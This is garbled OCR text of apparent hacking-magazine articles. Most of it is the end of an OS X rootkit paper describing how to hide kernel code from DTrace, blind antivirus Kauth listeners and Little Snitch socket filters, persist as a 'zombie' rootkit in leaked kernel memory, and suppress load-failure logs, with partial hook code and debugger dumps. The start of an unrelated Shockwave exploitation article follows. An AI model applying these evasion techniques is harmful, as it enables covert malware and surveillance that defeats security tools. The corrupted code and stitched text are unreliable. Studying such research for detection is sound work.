case points to fbt_perfCallback [bsd/dev/i386/fbt_x86.c]. The latter 

is responsible for calling the DTrace functionality and emulating the 
patched instruction. The emulations depends on the type of patch that 
was made - prologue (entry) or epilogue (return), and which instruction 
was patched. These can be: 


— MOV RSP, RBP 
— POP RBP 

—- LEAVE 
- Also NOPs used by the sdt provider (statically defined tracing) 


This information is stored inside DTrace internal structures and returned 
by the call to dtrace_invop(): 


emul = dtrace_invop(saved_state->isf.rip, (uintptr_t *)saved_state, 
saved_state->rax) ; 


It is not possible to just patch this call because the emul value 
determines the type of emulation that needs to b xecuted after. 


dtrace_invop is used by fbt and sdt providers and does nothing more than 
calling function pointers contained in dtrace_invop_hdlr linked list 
[bsd/dev/dtrace/dtrace_subr.c]. 


Continuing through the diagram... 


fbt_invop is a good candidate to hijack and hide whatever we want from 
DTrace. This can be done via a trampoline or modifying the function 
pointer contained in dtrace_invop_hdlr list (symbol available in kernel). 
From what I could test this list is initialised with the pointer to 
fbt_invop() before any calls are made to fbt provider. In principle we 
can modify it without waiting for initial DTrace execution. 


int fbht_invop(uintptr_t addr, uintptr_t *state, uintptr_t rval) 
{ 
fbt_probe_t *fbt = fbt_probetab[FBT_ADDR2NDX (addr) ]; 


for (; fbt != NULL; fbt = fbt->fbtp_hashnext) { 
if ((uintptr_t) fobt->fbtp_patchpoint == addr) { 
if (fbt->fbtp_roffset == 0) { 
x86_saved_state64_t *regs = (x86_saved_state64_t *)state; 


CPU->cpu_dtrace_caller = *(uintptr_t 

*) (((uintptr_t) (regs->isf.rsp))+sizeof(uint64_t)); // 8(%rsp) 
/* 64-bit ABI, arguments passed in registers. */ 
dtrace_probe(fbt-—>fbtp_id, regs->rdi, regs->rsi, regs->rdx, 


7.txt Wed Apr 26 09:43:48 2017 40 


kegs-—>rdx;, “égs->r8) 7 //--<sss—ascoc- call to dtrace functionality -------- 
CPU->cpu_dtrace_caller = 0; 
} else { 


dtrace_probe(fbt-—>fbtp_id, fbt->fbtp_roffset, rval, 0, 0, 


CPU->cpu_dtrace_caller = 0; 
} 
return (fbt->fbtp_rval); <- the emul value 


} 


return (0); 


} 


fbt_invop finds probed address information stored in fbt_probetab array 
and enters DTrace probe code. The return value that is needed for the 
emulation is stored inside the structure. To fiddle with DTrace we 

can emulate this function or create a modified fbt_perfCallback, adding 
conditions to hide our own addresses. It contains no private symbols so 
this is an easy task. 


Next, is a potential implementation of a hooked fbt_perfCallback function. 
Please notice that all the necessary code is not implemented. It is a 
mix of code and "algorithms". 


kern_return_t 
fbt_perfCallback_hooked(int trapno, x86_saved_state_t *tagged_regs, 
uintptr_t *lo_spp, unused int unused2) 


{ 


kern_return_t retval = KERN_FAILURE; 
x86_saved_state64_t *saved_state = saved_state64 (tagged_regs) ; 


if (FBT_EXCEPTION_CODE == trapno && !IS_USER_TRAP (saved_state) ) 
{ 


uintptr_t addr = saved_state->isf.rip; 
// XXX: verify if we want to hide this address 
Ki remember that addr here is where illegal instruction 
// occurred so our list must contain that info 
int addr_is_to_hide = hide_from_fbt (addr); // implement this 
if (addr_is_to_hide) 
{ 
// XXX: find fbt_probetab symbol here so we can use it next 


// and now get the search starting point 
fbt_probe_t *fbt = fbt_probetab[FBT_ADDR2NDX (addr) ]; 
// find the structure for current addr 
for (; fbt != NULL; fbt = fbt->fbtp_hashnext) 
{ 
if ((uintptr_t) fot->fbtp_patchpoint == addr) 
{ 
// XXX: emulate all code inside fbt_perfCallback here 
// except call to dtrace_invop () 
// this is the code that is inside the first IF 
// conditions in the original function a couple of 
// symbols might need to be solved, easy! 
} 
} 
// add fail case here ? shouldn’t be necessary unless a big 
// £*ckup occurs inside DTrace structures 
} 
// nothing to hide so call the original function 
else 
{ 
kern_return_t ret = KERN_FAILURE; 
// XXX: don’t forget we need to solve this symbol 
ret = fbt_perfCallback(trapno, tagged-regs, lo_spp, unused2); 
return ret; 
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return retval; 


} 


Functions that we want to hide from DTrace will never reach its 

probe system, effectively hiding them. The performance impact should 
be extremely low unless there are too many functions to hide, and 
hide_from_fbt() takes too long to execute. 


----[ 6.3 - AV-Monster II 


AV-Monster is a (old, Feb’12) PoC that exploits the Kauth interface 

used by OS X anti-virus solutions [21]. Pardon me for bringing an old 
subject to this paper but it perfectly illustrates an attack on Kauth, 
and also because AV vendors, as far as I know, did nothing or very little 
regarding this problem. 


Apple recommends in [22] that anti-virus install Kauth listeners - they 
can receive fil vents and pass them to the scan engine. The problem 
is that this creates a single point of failure that we can (easily) 
exploit to bypass the scan engine and remain undetectable (AV detection 
effectiveness discussion is out of scope ;-)). 


A very basic AV scanning workflow is: 
Execute file -> Kauth generates event -> AV kext listener -> AV scan 
engine 


It illustrates at least two distinct possibilities to *easily* bypass 

the anti-virus. One is to patch Kauth and the other to patch the kext 
listener. The old PoC code just NOPs the listener callback to render 

it inoperativ the scanning engine stops receiving any events. This is 
too noisy! A stealth implementation should just hijack that step and hide 
the files we want to, as it is done with hiding files in the filesystem. 


This time let me show you how to attack Kauth’s. The example will be based 
on the KAUTH_FILEOP_OPEN action and open() syscall. To avoid unnecessary 
browsing of XNU sources, this is the worflow up to the interesting point: 


open() -> open_nocancel() -> openl () [| bsd/vfs/vfs_syscalls.c ] 
| 
V 
[ bsd/vfs/vfs_vnops.c ] vn_open_auth() -> vn_open_auth_finish() 
V 
[ bsd/kern/kern_authorization.c ] kauth_authorize_fileop() 
V 
kauth_authorize_action () 


V 
listener callback 


I do not want to spam you with code but allow me to reprint the fileop 
function: 


int 

kauth_authorize_fileop(kauth_cred_t credential, kauth_action_t action, 
uintptr_t arg0, uintptr_t argl) 

{ 


char *namep = NULL; 
int name_len; 
uintptr_t arg2 = 0; 


/* we do not have a primary handler for the fileop scope so bail 
* out if there are no listeners. 
x 
if ((kauth_scope_fileop->ks_flags & KS_F_HAS LISTENERS) == 0) { 
return(0); 
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} 

if (action == KAUTH_FILEOP_OPEN || action == KAUTH_FILEOP_CLOSE | | 
action == KAUTH_FILEOP_EXEC) { 


/* get path to the given vnode as a convenience to our 
* listeners. 


yank 
namep = get_pathbuff(); 
name_len = MAXPATHLEN; 
if (vn_getpath((vnode_t)arg0O, namep, &name_len) != 0) { 
release_pathbuff(namep) ; 
return(0); 
} 
if (action == KAUTH_FILEOP_CLOSE) { 
arg2 = argl; /* close has some flags that come in 
via argl */ 
} 
argl = (uintptr_t)namep; 
} 
kauth_authorize_action(kauth_scope_fileop, credential, action, 
argO, argl, arg2, 0); 
if (namep != NULL) { 


release_pathbuff(namep) ; 


} 


return (0) 


2 


} 


useful data to the 


The purpose of this function is to retrieve som 


listener. In this case it is the vnode reference of the file and its 
full path. Apple’s documentation confirms it: 

KAUTH_FILEOP_OPEN Notifies that a file system object (a file 

or directory) has been opened. argO (of type vnode_t) is a vnode 
reference. argl (of type (const char *)) is a pointer to the object’s 
full path. 


It is clear now that this is a great place to hijack and hide files 


we do not want the AV to scan 


good feature for a file monitor). 


matches our list and return 0 


(or some other listener - this is also a 
We just need to verify if current file 
else call the original code 


if positive, 


(all these functions are not static so we can easily find the symbols). 


And that’s it. Simple, uh? :-) 


6.4 —- Little Snitch 

Little Snitch is a popular application firewall that can blow up the 
rootkit cover if network communications are needed and its not taken 

care of (nobody likes a snitch!). Socket filters is the OS X feature that 
enables Little Snitch to easily intercept and control (network) sockets 
without need for hooking or any other (unstable/dubious) tricks. They 

can filter inbound or outbound traffic on a socket and also out-of-band 
communication [17]. 


The installation of a socket filter is done using the sflt_register () 
function, for each domain, type, and protocol socket. Little Snitch 
loops to install the filter in all possible socket combinations. 


extern errno_t sflt_register(const struct sflt_filter *filter, 
int domain, 
int type, 
int protocol); 


The interesting detail of sflt_register() is the sflt_filter structure 
[bsd/sys/kpi_socketfilter.h]. It contains a series of callbacks for 
different socket operations: 
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struct sflt_filter { 


sflt_handle sf_handle; 

Bigg sf_flags; 

char *sf_name; 

sf_unregistered_func sf_unregistered; 

sf_attach_func sf_attach; // handles attaches to sockets. 
sf_detach_func sf_detach; 

sf_notify_func sf_notify; 

sf_getpeername_func sf_getpeername; 

sf_getsockname_func sf_getsockname; 

sf_data_in_func sf_data_in; // handles incoming data. 
sf_data_out_func sf_data_out; 

sf_connect_in_func sf_connect_in; // handles inbound 
connections. 

sf_connect_out_func sf_connect_out; 

sf_bind_func sf_bind; // handles binds. 

( 


-) 


wa 


History repeats itself and once again the easiest way is to hook 

the function pointers and do whatever we want. Little Snitch driver 
(it’s an I/O Kit driver and not a kernel extension) loads very early so 
hooking sflt_register() and modifying the structure on the fly is not 
very interesting. We need to lookup the structure in kernel memory and 
modify it. 


Many different socket filters can be attached to the same socket so there 
must be a data structure holding this information. The interesting source 
file is bsd/kern/kpi_socketfilter.c, where a tail queue is created and 
referenced using a static variable sock_filter_head. 


struct socket_filter { 
AILQ_ENTRY (socket_filter) sf_protosw_next; 
TAILQ ENTRY (socket_filter) sf_global_next; 
struct socket_filter_entry *sf_entry_head; 
struct protosw *sf_ proto; 
struct sflt_filter sf_filter; 
u_int32_t sf_refcount; 


}; 


TAILQ HEAD (socket_filter_list, socket_filter); 
static struct socket_filter_list sock_filter_head; 


[There are a few functions referencing sock_filter_head and 

the disassembler can be helpful to find the correct location 
(sflt_attach_internal() is a good candidate). Using gdb attached to 
kernel and sock_filter_head address: 


gdb$S print *(struct socket_filter_list*) 0xFFFFFF800EAAC9F8 
Sl =f 

tgh_first = Oxffffff8014811Ff08, 

tgh_last = Oxffffff8014898e18 
} 


(sock_filter_head located at OxFFFFFF80008AC9F8 in 10.8.2 plus KASLR of 
Oxe200000 in this example) 


Iterating around the tail queue we find the Little Snitch socket filter: 


gdb$S print *(struct socket_filter*) Oxffffff801483e608 
$7 = { 
sf_protosw_next = { 
tge_next = 0x0, 
tge_prev = Oxffffff8014811Ff08 
}, 
sf_global_next = { 
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tge_next = Oxffffff801483e508, 
tge_prev = Oxffffff801483e718 
}, 
sf_entry_head = Oxffffff801b29alc8, 
sf_proto = Oxffffff800ea2bca0, 


sf_filter = { 
sf_handle = 0x27e3ea, 
sf_flags = 0x5, 
sf_name = Oxffffff7f8eb1357b "“at_obdev_l1s", 
sf_unregistered = Oxffffff7f8eb0938Ff, 
sf_attach = Oxffffff7f8eb093Ff9, 
sf_detach = Oxffffff7F8eb09539, 
sf_notify = Oxffffff7f8eb095e8, 
sf_getpeername = Oxffffff7f8eb096a4, 
sf_getsockname = Oxffffff7f8eb09707, 
sf_data_in = Oxffffff7f8eb0974F, 
sf_data_out = Oxfff 7£8eb09bfa, 
sf_connect_in = Oxf F£F7£8eb0a076, 
sf_connect_out = Oxffffff7f8eb0a295, 
sf_bind = Oxffffff7f£8eb0a446, 
sf_setoption = Oxffffff7f8eb0a4ff, 
sf_getoption = Oxffffff7f8eb0a547, 
sf_listen = Oxffffff7£8eb0a58F, 
sf_ioctl = Oxffffff7f8eb0a6l2, 
sf_ext = { 
sf_ext_len = 0x38, 
sf_ext_accept = Oxffffff7f8eb0ab65a, 
sf_ext_rsvd = {0x0, 0x0, 0x0, Ox0, Ox0} 
} 
}, 
sf_refcount = 0x17 


The sf_name field from sflt_filter structure can be used to match 

the correct socket filter, otherwise we would have to find the driver 
addresses and match the function pointers that belong to that address 
space. 


Different possibilities exist to hide our network connections 

from Little Snitch and also Apple’s application firewall (named 
com.apple.nke.applicationfirewall). Th asiest one is to patch or 

hook the sf_attach callback. Documentation from the previously mentioned 
include file: 


fe) 
@typedef sf_attach_func 


@discussion sf_attach_func is called to notify the filter it has been 
attached to a socket. The filter may allocate memory for this attachment 
and use the cookie to track it. This filter is called in one of two cases: 

1) You’ve installed a global filter and a new socket was created. 
2) Your non-global socket filter is being attached using the SO_NK 
socket option. 

@param cookie Used to allow the socket filter to set the cookie for this 
attachment. 

@param so The socket the filter is being attached to. 

@result If you return a non-zero value, your filter will not be attached 
to this socket. 
ree 


typedef errno_t (*sf_attach_func) (void **cookie, socket_t so); 


Gl 


Forcing the callback to return a non-zero value will effectively take 
socket filter firewalls out of the equation. The problem here is that 
the socket_t structure might not have enough information to distinguish 
the cases we want to hide - it is too early in the process so there is 
no address to connect to. There are two fields that contain the PID 
information of the last process to interact with the socket so this can 
be useful if we already know the PID to hide connection from/to. 
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The other callbacks contain "richer" information for our purposes, 

in particular the structure sockaddr. If you want/need this type of 
fine-grain control you should hook here and use that structure to 

make your hide or not decision. As an exercise, to dump the target 
address you can attach gdb to the kernel and use the kgmacros command 
"showsockaddr" on that argument address (assuming you are breakpointing 
at the callback address). 


Another piece of information that can be used to control which process 
is related to the current socket the is the cookie that is set on attach 
callback and passed along to almost all other callbacks. The cookie is a 
user-defined structure and the following is a partial reverse of Little 
Snitch’s definition: 


struct Cookie 


0x48: IOLock *lock; 

0x74: pid_t pid; // process to whom the socket belongs to 
Ox78: int32_t count; 

Os1Cy InES 2 *Xxx; 

0x80: int32_t protocol; 

0x85: int8_t domain; 

Ox86: int8_t type; 


As in Kauth, the socket filters create a single point of failure where we 
can easily hook and filter our "evil" connections. The real difficulty is 
to find the head of the socket filter tail queue. Having a disassembler 
in the rootkit makes this a easy task, opening the door to easily bypass 
application firewalls. 


-—---[ 6.5 - Zombie rootkits 


The idea here is to explore kernel memory allocations and leaks. Kernel 
and kernel extensions share the same memory map, kernel_map, and there 
are a few kernel functions "families" to allocate kernel memory: 


—- kalloc. 

— kmem_alloc. 
- OSMalloc. 

— MALLOC/FREE. 
— IOMalloc/I0OFree for I/O Kit. 


All functions are wrappers for kernel_memory_allocate(). For additional 
information check [30], [31] Chapter 6, [13] Chapter 12. 


My initial (too complicated idea) was to load the rootkit, hook whatever 
was needed, unload the rootkit, and then protect the memory that was 
used. This was based in the fact that unloading does not destroy the 
rootkit memory so everything would work as long those blocks of memory 
were not reallocated to something else. I wanted to edit with kernel 
memory map and mark those pages as used. 


If we have a rootkit running that is not associated with a kernel 
extension we kind of have a zombie rootkit and solve a few problems such 
as no need to hide from kextstat, no kernel extension structures to find, 
etc. I later found out that Hoglund and Butler had a similar idea in 

[32] when they describe the NonPagedPool memory trick - allocate memory 
in that area, copy the rootkit, and unload the driver. New ideas ar 
tough to have :-). 


Back to the original point... 
Simple things usually work better so there is no point in starting with 
the complicated method. The easiest way is to create a memory leak and 
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use it to store the zombie rootkit version. When the original kernel 
extension is unloaded all the memory that was previously allocated using 
one of the functions above (tested with kalloc and _MALLOC) will not be 
free’d, creating a kernel memory leak that we can abuse and profit from. 


The beloved ASCII diagram: 


load rootkit -> find rootkit -> calculate rootkit -> alloc zombie 


base address size memory 
| 
V 
unload original <- transfer control <- fix memory <- copy rootkit into 
rootkit to zombie protections zombie memory 


To unload the original rootkit is extremely easy we do not need to 
execute any additional command, just return KERN_FAILURE from the start 
function and rootkit will not be loaded. The zombie rootkit already 
gained control before this so there is no problem and we avoid to execute 
a kextunload command. Simple :-). 


The control transfer to zombie code has a small caveat that inherits 

from previous paragraph - the start function must return a value so we 
can’t simple jump into the zombie. Two ideas come to my mind to solve 
this problem; first we can hook some kernel function and there transfer 
control to zombie, second we can use kernel threads create a new thread 
and let the main one return. 


To create a kernel thread the function kernel_thread_start() can be used 
(include <kern/thread.h> and Mach KPI). Its prototype is: 


kern_return_t 
kernel_thread_start (thread_continue_t continuation, void *parameter, 
thread_t *new_thread); 


Continuation parameter is a C function pointer where new thread will start 
execution, parameter is data that we might want to pass to the new thread, 
and new_thread a thread reference that the caller is responsible for. 


The zombie thread start function should have a prototype like this: 
void start_thread(void *parameter, wait_result_t wait) 


To set the start function pointer we need to find that function address 
in the zombie memory. Symbol information is not available (__LINKEDIT 
segment is not loaded) and to avoid reading from the filesystem we can 
use a quick trick - find the rootkit base address and find the difference 
to the address of start function in the rootkit (since that is in the 
original rootkit code). Since we have the zombie start address returned 
from the memory allocation, we just need to add the difference and we 
have the location of the start function inside the zombie. Computed the 
function pointer we can now pass it to kernel_thread_start() and be sure 
that zombie code will execute. 


Next problem... 


Copying the original rootkit into the new area invalidates the external 
symbols solved when kernel extension was loaded. Kernel extension code 
is position independent (PIC) so calls are made referencing the current 
instruction address. If we modify the location address and maintain 

the offset, then the symbol is not valid anymore and most probably will 
generate a kernel panic when executed. 


Example: 

Rootkit loaded in memory: 

gdbS x/10i Oxffffff7f83ad671c 

Oxff£ffFLL7E83ad671c: 55 push _rbp 
OxffffffF7F83ad671d: 48 89 e5 mov rbp, rsp 
OxfffffF7F83ad6720: 48 8d 3d dl 09 00 O00 lea rdi, [ript+0x9d1] 
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# Oxffffff7f£83ad70fF8 <- string reference 


OxfffffFf7F83ad6727: 30 cO xOr al,al 
OxffffffFf7F83ad6729: 5d pop rbp 
Oxffffff7F83ad672a: e9 61 29 35 TF jmp Oxffffff8002e29090 <- 


call to kernel’s printf, solved when kext was loaded 


The zombie copy: 


gdbS x/10i Oxffffff80392ba724 

OxffffFfF80392ba724: 55 push rbp 
OxfffffFfF80392ba725: 48 89 ed mov rbp, rsp 
OxffffFfF80392ba728: 48 8d 3d dl 09 00 O00 lea rdi, [ript+0x9d1] 

# OxffffFfffF80392bb100 <- string reference will be valid 

OxffffFfF80392ba72£: 30 cO0 xor al,al 
OxffffffF80392ba731: 5d pop rbp 
OxffffFfF80392ba732: e9 61 29 35 Tf jmp OxffffFfF80b860d098 <- 


this is a random address and will crash when we call this Function 


I am not sure if there is a better solution but I opted out to manually 
fix the offsets in the zombie code (probably influenced by the quick 
trick to find the thread start function). My idea is to build a table 
of all external symbols we will need to fix (hardcoded string table or 
read kext symbol tables from disk) and solve their addresses. With this 
information we can disassemble the kernel and find all references, and 
also compute the (references’s) difference to the rootkit base address. 


The final step is to fix the offsets in the zombie references. W 

have the difference for each reference so we can calculate where each 
reference is located in the zombie memory and recompute the new offset 
to the external symbol. References to the __DATA segment do not need to 
be fixed the offsets remain valid since that segment was copied and 
relative distance remains the same. Maybe a bit too much work but the 
disassembler engine makes this rather easy to accomplish. If you have 

a better solution I am eager to read about it. 


Returning KERN_FAILURE to kextload will generate noisy log messages 
about the rootkit. 


/var/log/system.log: 

May 7 02:26:10 mountain-lion-64.local com.apple.kextd[12]: Failed to load 
/Users/reverser/the_flying_circus.kext - (libkern/kext) kext (kmod) 
start/stop routine failed. 


dmesg: 

Kext put.as.the-flying-circus start failed (result 0x5). 

Kext put.as.the-flying-circus failed to load (0xdc008017). 
Failed to load kext put.as.the-flying-circus (error Oxdc008017). 


The dmesg output can be silenced by temporarily patching OSKextLog 
function or by directly memory patching the binaries that call this 
function. The fastest and easiest way is to do it inside the kernel 
solve the symbol and patch the first instruction to a ret. After rootkit 
is loaded we can restore original byte and everything is back to normal. 


The syslog output is generated by kextd daemon. Two quick solutions 
come to my mind - one is to patch syslogd as described before, another 
is to patch kextd. The symbol used to send the message to syslogd 

is asl_vlog. It is an external symbol in kextd. The symbol stub can 

be temporarily patched into a ret to avoid failure logging. Find the 
kextd process from process list, process its Mach-O header and locate 
the symbol stub address in __stubs section. Nothing very complicated! 


[To detect when to restore the logging features, we can use a quick and 
dirty hack. Loop inside the zombie thread until kextload process is 
finished. Then the original bytes can be restored and its business as 
usual but with a zombie rootkit loaded. 


The foundation blocks to zombie rootkits ar xposed, the remaining are 
implementation details that do not matter much here and can be found in 
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--[ 7 - Caveats & Detection 


Writing rootkits is a dangerous and unstable game and that is why it is 
such a fun game (or work for those doing it for money). You are always 
at mercy of subtle or major changes that can ruin all your efforts and 
uncloak your toy. Nevertheless, these are the same reasons why writing 
rootkits is so fun - you need to make it as stable and future-proof 

as possible, and try to think in all different detection paths. It 

is a never-ending story, quite frustrating at times but mentally and 
creatively challenging. 


This paper is considerably huge but still incomplete! There are a few 
missing areas and you probably spotted a few problems with some of its 
approaches. Let me try to describe some. 


One of the main problems is the dependency on proc, task and some other 
structures. These are opaque to outsiders for one good reason - they 

are changed frequently between major OS X versions. For example, when I 
was researching I forgot to include a define and things were not working 
(lucky or not it was not crashing the test system). Three different proc_t 
(and task_t) versions must be included to create a rootkit compatible 

with the three latest major OS X versions. And it is most certain that 

it will break with a new major release. 


In practice there is at least one rather easy way to overcome this 
difficulty. Th ffective number of fields required from proc and task 
structures is small. We can resort to information "leaks" from functions 
referencing those fields and retrieve the structure offset. Including a 
disassembler in the rootkit makes this task easier and safer. There ar 
many suitable functions - small, stable, and with very few different 
structures and variables. Many are static, but the number of exported 
ones are more than enough for this purpose. 


Filesystem checks (offline in particular) are a significant threat 

to rootkits, especially when there is a good reference baseline. Good 
rootkits must try to keep their filesystem (and memory) footprint to a 
minimum. One of the usual weakest points is the rootkit startup. It must 
be initialised somewhere! OS X features so many places where this can 
happen but this information is available to both defensive and offensive 
Sides. Binaries modification (for example, kernel extension injection 

as featured in last Phrack) is a good method but (easily) detectable by 
checksum checks. 


Regarding this problem, we can try to abuse additional features. OS X 
contains many data files that are mutable (sqlite3 databases, for example) 
and by nature difficult to checksum. A potential vulnerability using 
these data files could be explored and all the rootkit code stored 

there. Nothing new here, just remembering additional attacking and 
storage points. 


Extreme care is required with rootkit’s code - it must be as bug free 

as possible so that any inconsistencies and/or bugs do not reveal its 

presence, and must be carefully designed, for example, authentication 

and encryption on all communications. It is quite a joke that a simple 
ioctl call can expose OS.X/Crisis [4]. There is a "rule" - if it runs, 
it can be reversed. But lets not make that so easy, ok? 


Duplicating functions to use with the trampoline trick is also a 
potential source of problems if those functions are changed in new 
versions. This can be avoided by using the original functions - modify 
the call references or hijack the function and return to the original 
one. Using the NOP alignment space allows us to keep pointers and 
references inside the kernel memory address space and less suspicious 
to an initial analysis. 
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Detection and creation of tools is the next logical step. OS X lacks this 
kind of tools and here lies a good opportunity for future research and 
development. The defensive side against rootkits is even more challenging 
and requires additional creativity (and maybe kernel knowledge) to 
develop safer and reliable detection methods. The challenge is issued :-). 


--[{ 8 - Final words 


This was a long paper and I sincerely hope it was useful in some way 

to you who had the time and patience to read it. New ideas are hard to 
come by and there (probably) are many here that were somehow previously 
explored by others. Please apologize me if missing attribution - it 

is only because I do not know or I am not aware who is the original 
author/source. It is particularly difficult when you read so much stuff 
thru the years. 


The full disclosure discussion is extremely complicated and impossible to 
reach consensus. Full source code is hereby released because I believ 

it is the only (viable) alternative to move things forward and call 

for additional research and solutions. OS X is a great platform but it 
(still) suffers from a invincibility mystique that it is false and 
dangerous. There are companies producing commercial rootkits sold to 
governments to potentially spy on citizens (they say criminals, we have 
no idea since there is no transparency). 


Obviously these tools can be used for legitimate purposes (such as 
tracking real bad guys) but also no so legitimate - power corrupts and 
temptation is too big to spy and control everyone. A balance is required 
and it can come from improved research and defensive tools. Scoffing 

at the low incentives or potential difficulties is not the solution - 
history has shown that there is always someone who will leap forward 

and break the establishment. 


This paper’s goal is not to assist in developing a surveillance dissident 
death machine (name kindly suggested by thegrugq!) but to show the 
different ways it can be built, and how to detect and protect against 
them. I can’t avoid its potential bad usage but at least it should make 
the playing field a bit more balanced. 


Greets to nemo, noar, snare, all my put.as friends (sSaure, od, spico, 
kahuna, emptydir, korn, gOsh, ...), thegrugq, diff-t, tal0On and everyone 
else at C., the blog readers and #osxre boys & girls. 


And a big middle finger to Apple as a company, born from the hacking 
spirit and now transformed against hacking. 


Enjoy & have fun, 
£G! 
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1 - Introduction 


e days, proper exploit development on the latest and greatest operating 
ems is a time-consuming task. It doesn’t help matters that the 
lability of public resources to help individuals research techniques to 


achi 
now 


a val 


as o 
I wa 
like 
and 


eve such ends are becoming scarce. There are many reasons why this is 
the case. Mainly, techniques to bypass security mitigations have become 
uable commodity to various entities and as such are no longer released 
ften for public dissemination or to further one’s reputation. 


s lucky enough to get started in this field when there were resources 
Gera’s insecure programming challenges [1], 29A [2], Uninformed [3], 
of course Phrack to inspire me. I’ve tried to imagine what it would be 


lik 
(not 
unhe 
lack 


to be a newcomer in current times and it’s a bit depressing that most 
all) of the material that is actually published is done so with an 
althy bit of rodomontade and ulterior motives. Generally, the output 

s details that are most facilitating to an aspiring researcher--th 
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approaches to the problem (including the failures) that so define how a 
so-called hacker really thinks. 


This article is intended to give the reader insight into an approach to the 
vulnerability discovery and exploitation process. By no means should the 
take-away from this be that mitigations are broken or easily defeated, but 
rather it serves as a case study demonstrating real-world vulnerabilities 
and the process by which I was able to achieve successful code execution in 
spite of various mitigations that have hitherto not been bypassed publicly. 


What follows is walk through of the discovery and exploitation of a memory 
disclosure vulnerability and a stack-based buffer overflow that together 
can be abused to bypass stack cookies (/GS), SafeSEH (/SAFESEH), full 
process Address Space Layout Randomization (ASLR, /DYNAMICBASE), Data 
Execution Prevention (DEP), Structured Exception Handler Overwrite 
Protection (SEHOP), and the Enhanced Mitigation Experience Toolkit (EMET) 
to gain reliable cod xecution against a multitude of platforms, but with 
a focus on Windows 8 x64. 


C3 


The bugs discussed herein were discovered by myself and where applicable I 
will try to cite dates to help the reader understand the time invested to 
create th nd result. Hopefully there’s something in here that you’re able 
to take away and I’d like to imagine one day you’ll also share something 
with those who come after you. 


--[ 2 - Shockwave Overview 


The vulnerabilities I’1l be discussing are in Adobe’s Shockwave Player [4], 
a closed-source application used for viewing Adobe Director media files 
within a browser. The player can be installed on Windows and Mac OS 
operating systems and is deployed on over 450 million desktops according to 
Adobe [5]. 


Shockwave is often confused with Flash due to Flash’s misleading MIME type 
of 'application/x-shockwave-flash’. This is not the case, however, and the 
technologies ar ntirely independent of each other (for the record, 
Shockwave’s MIME type is ’application/x-director’). 


----[ 2.1 - Deployment Notes 


The Shockwave Player is invoked differently depending on which browser/OS 
you’re running. For example, in the case of Internet Explorer the Shockwave 
ActiveX control is instantiated and the Adobe modules are loaded into the 
iexplore.exe process space. However, in the case of Firefox, plugins are 
loaded via NPAPI [6] and occupy a new child process called 
plugin-container.exe. 


By default, if a user visits the Shockwave installer site, they are served 
up the "slim" version of the installer. The difference between the slim and 
the full is that the slim does not contain all the functionality for 
various media types (instead they are downloaded when the Player tries to 
render a media file with such content). 


It should also be noted that the code is distributed as a 32-bit build, 
even if deployed on a 64-bit operating system. 


----[ 2.2 - Supported File Formats 


Shockwave is used to render Adobe Director files. These come in three 
forms: 


- .dir is an uncompressed Director file 
- .dcr is Director file compressed in various locations using zlib 
—- .dxr is a non-editable Director file 
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Each of these are undocumented but are based off of the RIFF file format 
(except that their data is stored in big endian as denoted by the file 
magic value of ’RIFX’). 


For example, a partial hex dump of a .dir file: 


Offset (h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OI 


fl 
Oo 
Wy 


00000000 58 46 49 52 78 62 05 00 33 39 56 4D 70 61 6D 69 XFIRxb..39VMpami 


00000010 18 00 00 00 01 00 00 00 26 8B 00 00 82 07 00 00 ........ Gate Vo ae 
00000020 00 00 00 00 00 00 00 00 00 00 00 00 2A 59 45 4B ....... eee. *YEK 
00000030 74 01 00 00 OC 00 OC 00 1E 00 00 00 17 00 00 00 t...........00.. 
00000040 3E 00 00 00 04 00 00 00 6D 75 68 54 0D 00 00 00 >....... muhT.... 
00000050 04 00 00 00 44 45 4D 58 2B 00 00 00 4B 00 00 00 ....DEMX+...K... 
00000060 6D 75 68 54 6D 00 00 00 4B 00 00 00 44 45 4D 58 muhTm...K...DEMX 


The .DCR format is useful for bypassing network detection, as no 
device/software I am aware of currently knows how to decompress this 
proprietary format. 


----[ 2.3 - Creating Director Files 


Director files are created in, appropriately, Adobe Director [7]. The 
interface is very similar to Flash Studio in that there are frames, a movie 
object, a stage, cast members, sprites, and script objects. 


One quirk worth mentioning is that by default, when ‘playing’ a file within 
Director it uses an older version of the Shockwave libraries (not the ones 

in the player’s default directory). I’m guessing that this might not be the 
c 
W 
e 


ase if you’re using the latest Director (version 12), but as I was using 
arez, well, ... you get it. This can impact your exploit development so 
nsure you test outside Director as well (or overwrite the appropriate 
modules with newer versions). 


----[ 2.4 - Relevant Shockwave Modules 


There are two main modules that Shockwave uses to handle parsing and 
rendering of DIR files: DIRAPI.dll and IML32.dll. I did a bit of research 
on these back in 2011 [8]. Shockwave uses a custom memory manager called 
Smartheap [9], but that isn’t really of much interest with regard to the 
vulnerabilities described in this article. 


In addition to those two modules, there are also a number of "Xtras". These 
files have .x32 extensions but are simply DLL files. They provide added 
functionality for things lik mbedded media (Quicktime, Flash, 3D objects, 
fonts, audio, and so on). 


----[ 2.5 - The Lingo Scripting Language 


Shockwave files have support for a built-in scripting language called Lingo 
which was created in the 1990s and, according to the inventor John 
T 
1. 


hompson, was his "...most significant contribution to the computer 
industry to date" [10]. 


Lingo enables a Director developer to interact with multimedia elements and 
the user. Its intended functionality is very similar to its Adobe Flash 
counterpart, Actionscript. Its syntax, however, is a bit different. There 
is an API reference available on Adobe’s site [11] that covers mostly 
everything you’d need to know about it. 


We’1l soon see that Lingo can provide an attacker with a wealth of 
information to aid in the exploitation process. 
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[3 Vulnerability Discovery 


I had previously spent a good amount of time bug hunting in Shockwave for a 
presentation at CanSecWest and had unearthed a few file format 
vulnerabilities. The problem with those, however, is that anybody with the 
ability to bit-flip a file can also stumble upon them trivially. So, this 
time around I decided to see what I could find in Lingo. 


One of the most tedious aspects of bug hunting is figuring out the best way 
to generate input to properly cover as much of the attack surface as 
possible. My first attempt at this was to don my hipster jeans and learn to 
develop Director movies legitimately. I tried to embed as much content as 
possible and ensured in a debugger that the appropriate Xtras were being 
loaded into the process. The hardest part was learning how to properly 
access the objects via Lingo and interact with them in the hopes of causing 
a fault. 


After exhausting as many Lingo methods as I could manage to invoke (it’s a 
long list, check out: 
http://help.adobe.com/en_US/Director/11.5/UsingScripting 
/WSc3ff6d0ea77859461172e0811d64clalb3-7ff£4.html) I sat back and considered 
what to do next. 


Following reflection upon my prior attempts, I realized that the one subset 
of the available Lingo methods that I was unable to invoke were related to 
the 3D API. As it turns out, I was unable to call Lingo’s 3D methods 
because I could not embed a proper 3D object and initialize the environment 
as was required. 


I decided the best approach was to find an existing Director file that 
